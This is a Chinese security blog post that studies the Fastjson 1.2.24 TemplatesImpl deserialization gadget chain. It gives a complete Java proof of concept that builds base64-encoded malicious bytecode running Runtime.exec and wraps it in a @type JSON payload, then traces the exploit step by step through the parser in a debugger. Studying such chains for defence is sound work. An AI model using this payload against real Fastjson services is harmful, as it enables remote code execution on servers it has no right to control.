• FastJson TemplatesImpl利用链详细调用学习


    FastJson利用链

    Fastjson的版本在1.2.22-1.2.24主要有两条链利用TemplatsImplJdbcRowSetImpl利用链先来学习TemplatsImpl利用链,这个与前面jdk7u21所用的都是通过defineclass来实例化恶意字节码导致的任意代码执行。

    1、漏洞复现

    组件依赖版本:

     <dependencies>
            <dependency>
                <groupId>commons-codec</groupId>
                <artifactId>commons-codec</artifactId>
                <version>1.10</version>
            </dependency>
            <dependency>
                <groupId>org.javassist</groupId>
                <artifactId>javassist</artifactId>
                <version>3.19.0-GA</version>
            </dependency>
            <dependency>
                <groupId>com.alibaba</groupId>
                <artifactId>fastjson</artifactId>
                <version>1.2.24</version>
            </dependency>
        </dependencies>
    

    利用链:

    1. JDK7u21 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

    poc

    package com.akkacloud.demo;
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.Feature;
    import com.alibaba.fastjson.parser.ParserConfig;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.codec.binary.Base64;
    
    public class fastjsonTest {
        public static class test{}
    
        public static void main(String[] args) throws Exception {
            ClassPool pool = ClassPool.getDefault();
            CtClass cc = pool.get(test.class.getName());
            String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
            cc.makeClassInitializer().insertBefore(cmd);
            String randomClassName = "akka1" + System.nanoTime();
            cc.setName(randomClassName);
            cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
    
            byte[] evilCode = cc.toBytecode();
            String evilCode_base64 = Base64.encodeBase64String(evilCode);
            System.out.println(evilCode_base64);
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String payload =
                    "{\"" +
                            "@type\":\"" + NASTY_CLASS + "\"," + "\"" +
                            "_bytecodes\":[\"" + evilCode_base64 + "\"]," +
                            "'_name':'asd','" +
                            "_tfactory':{ },\"" +
                            "_outputProperties\":{ }," + "\"" +
                            "_version\":\"1.0\",\"" +
                            "allowedProtocols\":\"all\"}\n";
            ParserConfig config = new ParserConfig();
            Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);
    
        }
    
    }
    
    

    image-20220412165446582

    看完poc,有几个问题,希望在调试的过程解决他

    1.为什么_bytecodes为什么要base64加密

    在执行JSON.parseObject()中,会循环获取所以字段

    value = parser.parseObject(clazz, (Object)null);

    image-20220413032148560

    在com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze方法会调用byteValue方法,跟进去看看

    image-20220413032256194

    会调用base64解码

    image-20220413032520217

    2._outputProperties使用来干什么的,用来生成getoutputProperties去调用newTransformer

    3.parseObject 为什么要设置Feature.SupportNonPublicField,序列化时用来调用private类型的属性

    4._tfactory为什么为{}, 因为在jdk7u21在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错

    2、漏洞利用条件

    1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
    2. 服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField)

    3、漏洞调试

    我们在parseObject打下断点,我们跟进 parseObject方法

    image-20220412171911648

    进入input为我们的恶意json字符串代码,第二个是Object的类型,第三个是实例化的ParserConfig,第四个就是序列化时用来调用private类型的属性,进入他的重载方法多了两个参数,一个ParseProcess类型的null,一个是整形的DEFAULT_PARSER_FEATURE(989)

    image-20220412172109423

    进入到了主要的parseObject方法,首先比较一下featureValues和feature,然后实例化了一个DefaultJSONParser,里面存着我们的input(恶意代码),我们跟进去看

    image-20220412174152953

    发现继续调用了重载方法,继续跟进

    image-20220412182320034

    进入DefaultJSONParser发现继续一大堆赋值,我们重点看看lexer,后面会用到,其实lexer是通过new JSONScanner(input, length, features)获取的

    image-20220412182437354

    我们先看看JSONScanner的构造方法,把input变成了字符串调用了自己的重载方法,

    public JSONScanner(char[] input, int inputLength, int features) {
        this(new String(input, 0, inputLength), features);
    }
    

    然后把input赋值给了this.text,然后调用了next()方法,跟进next方法

    image-20220412193610676

    拿到;”{“赋值给this.ch,

    image-20220412193708770

    所以lexer就是一个存储了一个恶意字符串的对象

    然后我们继续回到DefaultJSONParser的构造方法,我们跟进lexer.getCurrent()的方法就是用于返回ch的,ch为{

    image-20220412184733405

    所以进入if,调用lexer的next(),这是后的ch的值为双引号("),我们看重点lexer.token被赋值为了12

    image-20220412194131047

    我们继续回到Json.class,再一次调用了DefaultJSONParser的parseObject的重载方法,继续跟进去

    image-20220412175845507

    判断一下token,因为lexer.token()为12.,然后获取一个ObjectDeserializer,derializer去调用deserialze方法,把this穿进去了(恶意代码),跟进去看看

    image-20220412180342172

    进入来,this被赋值给parser了,判断是不是GenericArrayType类型,我们传入的是Object.class,进入else,当type instanceof Class && type != Object.class && type != Serializable.class为ture则调用parser.parseObject(type) 否则调用parser.parse(fieldName),这里肯定是flase的进入parser.parse(fieldName),因为type 就是Object.class。我们继续跟进

    image-20220412180812645

    进入他使用了将this.lexer赋值给lexer,就是我们前面分析的DefaultJSONParser的构造方法赋值,且lexer.token()为12.

    image-20220412181802278

    我们直接看case等于12的,继续跟进this.parseObject((Map)object, fieldName)

    image-20220412194650627

    因为token等于12,所以进入else,而ch前面分析过为双引号("),所以进入if,调用lexer.scanSymbol方法

    image-20220412195133236

    先看this.symbolTable,存的是@type,

    image-20220412195759345

    所以key为@type

    image-20220412200334687

    然后我们越过else,直接看下面的代码

    image-20220412200710654

    我们直接来看重点,就是下面这段,判断key是否为@JSON.DEFAULT_TYPE_KEY,这个其实就是@type,然后进入我if。

    if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
      ref = lexer.scanSymbol(this.symbolTable, '"');
      Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
    

    image-20220412200851688

    其实我们跟进去发现,他就是一个一个字符串的获取@type字段传入的值,赋值给ref,ref就是templatesImpl

    image-20220413004427260

    这是通过TypeUtils.loadClass反射获取类对象clazz,其实就是templatesImpl

    然后到了这里,我们跟进this.config.getDeserializer(clazz)clazz就是templateImpl,this.config就是ParserConfig

    image-20220412201835658

    判断是不是Class对象,明显是,继续跟进ParserConfig的this.getDeserializer((Class)type, type);

    image-20220413001357503

    进入之后我们一步一步往下走。

    image-20220413004842106

    走到这我们也可以发现class就是我们在@type存入的东西TemplatesImpl

    image-20220413005209998

    在往下走到这行代码,创建建一个反序列化bean(语译),我们跟进去

    derializer = this.createJavaBeanDeserializer(clazz, (Type)type);

    image-20220413002005360

    进去发现对clazz进行一系列判断赋值,继续走

    image-20220413005820000

    到了beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy),继续跟进

    image-20220413010049178

    进入到JavaBeanInfo.build,我们挑重点来看

    image-20220413010307042

    第一个图set

    image-20220413011518281

    第二个get

    image-20220413011704305

    @type拿到类之后,通过反射拿到该类所有的方法存入methods,接下来遍历methods进而获取get、set方法

    如上图,自动调用set方法的条件是

    1. 方法名长度大于4
    2. 非静态方法
    3. 返回值为void或当前类
    4. 方法名以set开头
    5. 参数个数为1

    如上图,自动get方法方法的条件是

    1. 方法名长度大于等于4
    2. 非静态方法
    3. 以get开头且第4个字母为大写
    4. 无传入参数
    5. 返回值类型继承自Collection、Map、AtomicBoolean、AtomicInteger、AtomicLong

    我们直接看get这里,循环获取方法名getOutputProperties,然后进入循环,然后根据红框,从第四位取起,然后变成小写,

    所以propertyName就是outputProperties

    image-20220413013429894

    然后就是判断fieldList这个数组里面有没有这个方法,没有就把他加进去,再返回JavaBeanInfo

    image-20220413014006276

    好了现在我们再回到DefaultJSONParser继续调试,此时的JavaBeanDeserializer的deserializer是已经包含了beaninfo(存放了outputproperties),我们跟进deserializer.deserialze(this, clazz, fieldName);

    image-20220413014419192

    进入com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer的deserialze方法,继续进入两次重载方法

    image-20220413014756712

    进入到我们的主要函数,我依然看关键节点的数据

    image-20220413014906879

    第一个可以看出我们的确在this.sortedFieldDeserializers中存入了outputproperties,从构造函数得知this.sortedFieldDeserializers[]就是通过beanInfo赋值得到的。

    image-20220413020211316

    image-20220413020132761

    然后就是循环我们json数据了,太多代码了,我们继续看重点,这里的key就是我们json的第二字段存入的值,如下图,我们跟进去

    image-20220413020642439

    image-20220413020817388

    进入parseField,继续调用了smartMatch,我们继续跟进

    image-20220413021159984

    进入后判断一下有没有key的fieldDeserializer,如果没有就把_bytecodes替换为bytecodes,

    image-20220413021439259

    image-20220413021427094

    我们继续回到com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer的parseField方法,走到这,继续跟进

    image-20220413022824753

    进入到com.alibaba.fastjson.parser.deserializer的DefaultFieldDeserializer的parseField方法

    image-20220413022956800

    我继续走到this.setValue(object, value),此处穿的object是TemplatesImpl ,value为恶意代码类的字节,value就是通过parser读取出来的

    image-20220413024506193

    image-20220413023045290

    继续进入setvalue方法

    image-20220413024628728

    这个过程会在JavaBeanDeserializer循环进行,知道获取完所有的json字段,直到method != null,我们的json字段中只有_outputProperties符合,成功进入if,然后反射执行,继续跟进几个invoke方法进入到TemplatesImpl

    image-20220413024822397

    TemplatesImpl调用getOutputProperties--》再调用newTransformer,跟jdk7u21链和cc2链后面一样的,就不继续跟了

    image-20220413030114460

    4、结束

    这次的Fastjson的TemplatesImpl链花费10个小时,一点点跟,了解一些细节,这条链可以说很长,细节也很多,参考了很多大佬的文章。

    参考
    https://www.cnblogs.com/nice0e3/p/14601670.html#
    https://y4er.com/post/fastjson-learn/

  • 相关阅读:
    【Springcloud】elk分布式日志
    小程序常用样式和组件
    图像边缘检测与图像分割常用算法研究分析-含Matlab代码
    云数据库保护需要注意哪些事项?
    DTSE Tech Talk | 云原生架构下的数字身份治理实践
    java计算机毕业设计古玩玉器交易系统源码+mysql数据库+系统+lw文档+部署
    公众号迁移如何线上办理公证?
    安装virtualenvwrapper报错权限不足解决方法(Mac)
    Java设计模式 (1) —— Iterator迭代器模式
    胡哥面试视频手录
  • 原文地址:https://www.cnblogs.com/akka1/p/16138460.html